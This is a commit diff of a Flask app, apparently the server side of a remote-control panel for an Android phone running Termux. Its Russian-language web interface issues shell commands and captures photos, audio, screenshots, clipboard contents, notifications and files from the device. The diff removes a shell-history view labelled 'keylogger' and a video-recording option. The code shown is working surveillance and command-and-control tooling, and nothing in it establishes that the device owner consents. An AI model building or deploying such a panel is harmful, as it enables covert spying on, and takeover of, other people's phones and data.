Aleksmorshen commited on
Commit
05b9c26
·
verified ·
1 Parent(s): 0501ab5

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +25 -78
app.py CHANGED
@@ -19,7 +19,7 @@ current_client_path = "~"
19
  file_to_send_to_client = None
20
  device_status_info = {}
21
  notifications_history = []
22
- shell_history_log = "" # NEW: To store shell history
23
 
24
  HTML_TEMPLATE = """
25
  <!DOCTYPE html>
@@ -64,7 +64,6 @@ HTML_TEMPLATE = """
64
  .notification-item:last-child { border-bottom: none; }
65
  .notification-item strong { display: block; color: #555; }
66
  .notification-item span { font-size: 0.9em; color: #777; }
67
- .disclaimer { background-color: #fff3cd; color: #856404; border: 1px solid #ffeeba; padding: 10px; border-radius: 5px; margin-bottom: 15px;}
68
  </style>
69
  <script>
70
  let currentView = 'dashboard';
@@ -78,7 +77,6 @@ HTML_TEMPLATE = """
78
  if (sectionId === 'files') refreshClientPathDisplay();
79
  if (sectionId === 'device_status') requestDeviceStatus();
80
  if (sectionId === 'notifications') requestNotifications();
81
- if (sectionId === 'keylogger') requestShellHistory(); // NEW
82
  refreshOutput();
83
  }
84
 
@@ -87,8 +85,7 @@ HTML_TEMPLATE = """
87
  const response = await fetch('/get_status_output');
88
  const data = await response.json();
89
 
90
- // Update output area for active view
91
- if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'keylogger')) {
92
  document.getElementById('outputArea').innerText = data.output;
93
  }
94
 
@@ -142,13 +139,11 @@ HTML_TEMPLATE = """
142
  if (data.notifications && currentView === 'notifications') {
143
  renderNotifications(data.notifications);
144
  }
145
- if (data.shell_history && currentView === 'keylogger') { // NEW
146
- document.getElementById('shellHistoryArea').innerText = data.shell_history;
147
- }
148
 
149
  } catch (error) {
150
  console.error("Error refreshing data:", error);
151
- if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'keylogger') { // Updated
152
  document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
153
  }
154
  }
@@ -275,7 +270,7 @@ HTML_TEMPLATE = """
275
  }
276
 
277
  function requestDownloadFile(filename) {
278
- sendGenericCommand({ command_type: 'upload_to_server', filename: filename });
279
  document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
280
  }
281
 
@@ -300,16 +295,12 @@ HTML_TEMPLATE = """
300
  document.getElementById('command_str').value = '';
301
  }
302
 
303
- function submitMediaCommand(type, paramName, paramValueId, secondParamName = null, secondParamValueId = null) { // Updated signature
304
  let payload = { command_type: type };
305
  if (paramName && paramValueId) {
306
  const value = document.getElementById(paramValueId).value;
307
  if (value) payload[paramName] = value;
308
  }
309
- if (secondParamName && secondParamValueId) { // For record_video with camera_id
310
- const secondValue = document.getElementById(secondParamValueId).value;
311
- if (secondValue) payload[secondParamName] = secondValue;
312
- }
313
  sendGenericCommand(payload);
314
  }
315
 
@@ -343,9 +334,8 @@ HTML_TEMPLATE = """
343
  document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
344
  sendGenericCommand({
345
  command_type: 'receive_file',
346
- download_url: result.download_url, // Use the correct URL from server response
347
- target_path: result.target_path_on_device, // Corrected parameter name
348
- original_filename: result.original_filename // Pass original filename
349
  });
350
  } else {
351
  document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
@@ -380,10 +370,6 @@ HTML_TEMPLATE = """
380
  function requestNotifications() {
381
  sendGenericCommand({ command_type: 'get_notifications' });
382
  }
383
- function requestShellHistory() { // NEW
384
- sendGenericCommand({ command_type: 'get_shell_history' });
385
- document.getElementById('shellHistoryArea').innerText = 'Загрузка истории команд...';
386
- }
387
 
388
 
389
  </script>
@@ -400,7 +386,6 @@ HTML_TEMPLATE = """
400
  <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
401
  <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
402
  <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
403
- <li><a href="#keylogger" onclick="showSection('keylogger')">Журналы активности</a></li> <!-- NEW -->
404
  <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
405
  </ul>
406
  <div style="margin-top: auto; font-size: 0.8em; color: #aaa; text-align:center; padding-bottom:10px;">
@@ -504,13 +489,6 @@ HTML_TEMPLATE = """
504
  <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
505
  <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
506
  </div>
507
- <div class="control-section">
508
- <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'camera_id_video_input')">Записать видео</button> <!-- NEW -->
509
- <label for="video_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
510
- <input type="text" id="video_duration_input" value="10" style="width:50px; display:inline-block;">
511
- <label for="camera_id_video_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
512
- <input type="text" id="camera_id_video_input" value="0" style="width:50px; display:inline-block;">
513
- </div>
514
  <div class="control-section">
515
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
516
  </div>
@@ -549,22 +527,6 @@ HTML_TEMPLATE = """
549
  </div>
550
  </div>
551
 
552
- <div id="keylogger" class="container hidden-section">
553
- <h2>Журналы активности</h2>
554
- <div class="control-section">
555
- <h3>История команд оболочки Termux:</h3>
556
- <div class="disclaimer">
557
- <strong>Важное примечание:</strong> Этот функционал позволяет просматривать <strong>только</strong> историю команд, введенных непосредственно в Termux оболочке (например, bash или zsh). Он <strong>НЕ является полноценным кейлоггером</strong> и не будет записывать нажатия клавиш, введенные в других приложениях Android или системные пароли. Для системного кейлоггинга требуются специальные разрешения Android (Accessibility Service), которые не могут быть получены удаленно через Termux API.
558
- </div>
559
- <button onclick="requestShellHistory()">Получить историю команд Termux</button>
560
- <pre id="shellHistoryArea">История команд не загружена.</pre>
561
- </div>
562
- <div class="control-section" style="margin-top:20px;">
563
- <h3>Результат операции:</h3>
564
- <pre id="outputAreaKeyloggerCopy"></pre>
565
- </div>
566
- </div>
567
-
568
  <div id="uploads" class="container hidden-section">
569
  <h2>Файлы, загруженные С клиента на сервер</h2>
570
  <div class="control-section">
@@ -581,14 +543,12 @@ HTML_TEMPLATE = """
581
  const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
582
  const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
583
  const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
584
- const outputAreaKeyloggerCopy = document.getElementById('outputAreaKeyloggerCopy'); // NEW
585
 
586
  const observer = new MutationObserver(() => {
587
  if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
588
  if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
589
  if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
590
  if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
591
- if (outputAreaKeyloggerCopy && currentView === 'keylogger') outputAreaKeyloggerCopy.innerText = outputArea.innerText; // NEW
592
  });
593
  observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
594
  });
@@ -613,7 +573,7 @@ def handle_send_command():
613
  if command_type == 'list_files':
614
  path_requested = data.get('path', '.')
615
  pending_command = {'type': 'list_files', 'path': path_requested}
616
- elif command_type == 'request_download_file': # This handles client initiating upload for a specific file
617
  filename = data.get('filename')
618
  if filename:
619
  pending_command = {'type': 'upload_to_server', 'filename': filename}
@@ -623,8 +583,6 @@ def handle_send_command():
623
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
624
  elif command_type == 'record_audio':
625
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
626
- elif command_type == 'record_video': # NEW
627
- pending_command = {'type': 'record_video', 'duration': data.get('duration', '10'), 'camera_id': data.get('camera_id', '0')}
628
  elif command_type == 'screenshot':
629
  pending_command = {'type': 'screenshot'}
630
  elif command_type == 'shell':
@@ -633,20 +591,19 @@ def handle_send_command():
633
  pending_command = {'type': 'shell', 'command': command_str}
634
  else:
635
  command_output = "Ошибка: Команда не указана."
636
- elif command_type == 'receive_file': # This handles server initiating download to client
637
  server_filename = data.get('server_filename')
638
  target_path_on_device = data.get('target_path_on_device')
639
- original_filename = data.get('original_filename') # Passed from upload_to_server_for_client_route
640
-
641
- if server_filename and target_path_on_device and original_filename:
642
  file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
643
  if os.path.exists(file_path_on_server):
644
  pending_command = {
645
  'type': 'receive_file',
646
  'download_url': url_for('download_to_client', filename=server_filename, _external=True),
647
  'target_path': target_path_on_device,
648
- 'original_filename': original_filename
649
  }
 
650
  else:
651
  command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
652
  else:
@@ -667,8 +624,6 @@ def handle_send_command():
667
  pending_command = {'type': 'get_device_status', 'item': item_requested}
668
  elif command_type == 'get_notifications':
669
  pending_command = {'type': 'get_notifications'}
670
- elif command_type == 'get_shell_history': # NEW
671
- pending_command = {'type': 'get_shell_history'}
672
  else:
673
  command_output = "Неизвестный тип команды."
674
 
@@ -686,7 +641,7 @@ def get_command():
686
 
687
  @app.route('/submit_client_data', methods=['POST'])
688
  def submit_client_data():
689
- global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, shell_history_log
690
 
691
  data = request.json
692
  if not data:
@@ -714,17 +669,12 @@ def submit_client_data():
714
  notifications_history = data['notifications_update']
715
  if not command_output or command_output == "Клиент онлайн.":
716
  command_output = "Список уведомлений обновлен."
717
-
718
- if 'shell_history_update' in data: # NEW
719
- shell_history_log = data['shell_history_update']
720
- if not command_output or command_output == "Клиент онлайн.":
721
- command_output = "История команд оболочки обновлена."
722
 
723
 
724
  if 'heartbeat' in data and data['heartbeat']:
725
- # Only set "Клиент онлайн" if no other specific output or updates were sent
726
- if not any(key in data for key in ['output', 'device_status_update', 'notifications_update', 'shell_history_update']):
727
- command_output = "Клиент онлайн."
728
  return jsonify({'status': 'heartbeat_ok'})
729
 
730
  return jsonify({'status': 'data_received'})
@@ -756,7 +706,8 @@ def upload_from_client_route():
756
  try:
757
  file.save(filepath)
758
  origin_command_type = request.form.get("origin_command_type", "unknown")
759
- command_output = f"Файл '{filename}' успешно загружен С клиента (Тип: {origin_command_type})."
 
760
 
761
  return jsonify({'status': 'success', 'filename': filename})
762
  except Exception as e:
@@ -765,14 +716,13 @@ def upload_from_client_route():
765
 
766
  @app.route('/get_status_output', methods=['GET'])
767
  def get_status_output_route():
768
- global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, shell_history_log
769
  return jsonify({
770
  'output': command_output,
771
  'last_heartbeat': last_client_heartbeat,
772
  'current_path': current_client_path,
773
  'device_status': device_status_info,
774
- 'notifications': notifications_history,
775
- 'shell_history': shell_history_log # NEW
776
  })
777
 
778
  @app.route('/uploads_from_client/<path:filename>')
@@ -793,6 +743,7 @@ def list_uploaded_files_route():
793
 
794
  @app.route('/upload_to_server_for_client', methods=['POST'])
795
  def upload_to_server_for_client_route():
 
796
  if 'file_to_device' not in request.files:
797
  return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
798
 
@@ -807,21 +758,17 @@ def upload_to_server_for_client_route():
807
 
808
  if file:
809
  original_filename = werkzeug.utils.secure_filename(file.filename)
810
- server_side_filename = str(uuid.uuid4()) + "_" + original_filename # Unique filename on server
811
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
812
 
813
  try:
814
  file.save(filepath_on_server)
815
-
816
- # The download_url must be externally accessible for the client
817
- download_url = url_for('download_to_client', filename=server_side_filename, _external=True)
818
-
819
  return jsonify({
820
  'status': 'success',
821
  'server_filename': server_side_filename,
822
  'original_filename': original_filename,
823
- 'target_path_on_device': target_path_on_device,
824
- 'download_url': download_url # Include the full URL for the client
825
  })
826
  except Exception as e:
827
  return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
 
19
  file_to_send_to_client = None
20
  device_status_info = {}
21
  notifications_history = []
22
+
23
 
24
  HTML_TEMPLATE = """
25
  <!DOCTYPE html>
 
64
  .notification-item:last-child { border-bottom: none; }
65
  .notification-item strong { display: block; color: #555; }
66
  .notification-item span { font-size: 0.9em; color: #777; }
 
67
  </style>
68
  <script>
69
  let currentView = 'dashboard';
 
77
  if (sectionId === 'files') refreshClientPathDisplay();
78
  if (sectionId === 'device_status') requestDeviceStatus();
79
  if (sectionId === 'notifications') requestNotifications();
 
80
  refreshOutput();
81
  }
82
 
 
85
  const response = await fetch('/get_status_output');
86
  const data = await response.json();
87
 
88
+ if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils')) {
 
89
  document.getElementById('outputArea').innerText = data.output;
90
  }
91
 
 
139
  if (data.notifications && currentView === 'notifications') {
140
  renderNotifications(data.notifications);
141
  }
142
+
 
 
143
 
144
  } catch (error) {
145
  console.error("Error refreshing data:", error);
146
+ if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils') {
147
  document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
148
  }
149
  }
 
270
  }
271
 
272
  function requestDownloadFile(filename) {
273
+ sendGenericCommand({ command_type: 'request_download_file', filename: filename });
274
  document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
275
  }
276
 
 
295
  document.getElementById('command_str').value = '';
296
  }
297
 
298
+ function submitMediaCommand(type, paramName, paramValueId) {
299
  let payload = { command_type: type };
300
  if (paramName && paramValueId) {
301
  const value = document.getElementById(paramValueId).value;
302
  if (value) payload[paramName] = value;
303
  }
 
 
 
 
304
  sendGenericCommand(payload);
305
  }
306
 
 
334
  document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
335
  sendGenericCommand({
336
  command_type: 'receive_file',
337
+ server_filename: result.server_filename,
338
+ target_path_on_device: result.target_path_on_device
 
339
  });
340
  } else {
341
  document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
 
370
  function requestNotifications() {
371
  sendGenericCommand({ command_type: 'get_notifications' });
372
  }
 
 
 
 
373
 
374
 
375
  </script>
 
386
  <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
387
  <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
388
  <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
 
389
  <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
390
  </ul>
391
  <div style="margin-top: auto; font-size: 0.8em; color: #aaa; text-align:center; padding-bottom:10px;">
 
489
  <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
490
  <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
491
  </div>
 
 
 
 
 
 
 
492
  <div class="control-section">
493
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
494
  </div>
 
527
  </div>
528
  </div>
529
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
530
  <div id="uploads" class="container hidden-section">
531
  <h2>Файлы, загруженные С клиента на сервер</h2>
532
  <div class="control-section">
 
543
  const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
544
  const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
545
  const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
 
546
 
547
  const observer = new MutationObserver(() => {
548
  if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
549
  if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
550
  if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
551
  if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
 
552
  });
553
  observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
554
  });
 
573
  if command_type == 'list_files':
574
  path_requested = data.get('path', '.')
575
  pending_command = {'type': 'list_files', 'path': path_requested}
576
+ elif command_type == 'request_download_file':
577
  filename = data.get('filename')
578
  if filename:
579
  pending_command = {'type': 'upload_to_server', 'filename': filename}
 
583
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
584
  elif command_type == 'record_audio':
585
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
 
 
586
  elif command_type == 'screenshot':
587
  pending_command = {'type': 'screenshot'}
588
  elif command_type == 'shell':
 
591
  pending_command = {'type': 'shell', 'command': command_str}
592
  else:
593
  command_output = "Ошибка: Команда не указана."
594
+ elif command_type == 'receive_file':
595
  server_filename = data.get('server_filename')
596
  target_path_on_device = data.get('target_path_on_device')
597
+ if server_filename and target_path_on_device:
 
 
598
  file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
599
  if os.path.exists(file_path_on_server):
600
  pending_command = {
601
  'type': 'receive_file',
602
  'download_url': url_for('download_to_client', filename=server_filename, _external=True),
603
  'target_path': target_path_on_device,
604
+ 'original_filename': server_filename
605
  }
606
+ file_to_send_to_client = None
607
  else:
608
  command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
609
  else:
 
624
  pending_command = {'type': 'get_device_status', 'item': item_requested}
625
  elif command_type == 'get_notifications':
626
  pending_command = {'type': 'get_notifications'}
 
 
627
  else:
628
  command_output = "Неизвестный тип команды."
629
 
 
641
 
642
  @app.route('/submit_client_data', methods=['POST'])
643
  def submit_client_data():
644
+ global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
645
 
646
  data = request.json
647
  if not data:
 
669
  notifications_history = data['notifications_update']
670
  if not command_output or command_output == "Клиент онлайн.":
671
  command_output = "Список уведомлений обновлен."
 
 
 
 
 
672
 
673
 
674
  if 'heartbeat' in data and data['heartbeat']:
675
+ if not command_output or command_output == "Клиент онлайн.":
676
+ if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data:
677
+ command_output = "Клиент онлайн."
678
  return jsonify({'status': 'heartbeat_ok'})
679
 
680
  return jsonify({'status': 'data_received'})
 
706
  try:
707
  file.save(filepath)
708
  origin_command_type = request.form.get("origin_command_type", "unknown")
709
+ if origin_command_type == "request_download_file": # Only set this for direct downloads
710
+ command_output = f"Файл '{filename}' успешно загружен С клиента."
711
 
712
  return jsonify({'status': 'success', 'filename': filename})
713
  except Exception as e:
 
716
 
717
  @app.route('/get_status_output', methods=['GET'])
718
  def get_status_output_route():
719
+ global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
720
  return jsonify({
721
  'output': command_output,
722
  'last_heartbeat': last_client_heartbeat,
723
  'current_path': current_client_path,
724
  'device_status': device_status_info,
725
+ 'notifications': notifications_history
 
726
  })
727
 
728
  @app.route('/uploads_from_client/<path:filename>')
 
743
 
744
  @app.route('/upload_to_server_for_client', methods=['POST'])
745
  def upload_to_server_for_client_route():
746
+ global file_to_send_to_client, command_output
747
  if 'file_to_device' not in request.files:
748
  return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
749
 
 
758
 
759
  if file:
760
  original_filename = werkzeug.utils.secure_filename(file.filename)
761
+ server_side_filename = str(uuid.uuid4()) + "_" + original_filename
762
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
763
 
764
  try:
765
  file.save(filepath_on_server)
766
+ command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
 
 
 
767
  return jsonify({
768
  'status': 'success',
769
  'server_filename': server_side_filename,
770
  'original_filename': original_filename,
771
+ 'target_path_on_device': target_path_on_device
 
772
  })
773
  except Exception as e:
774
  return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500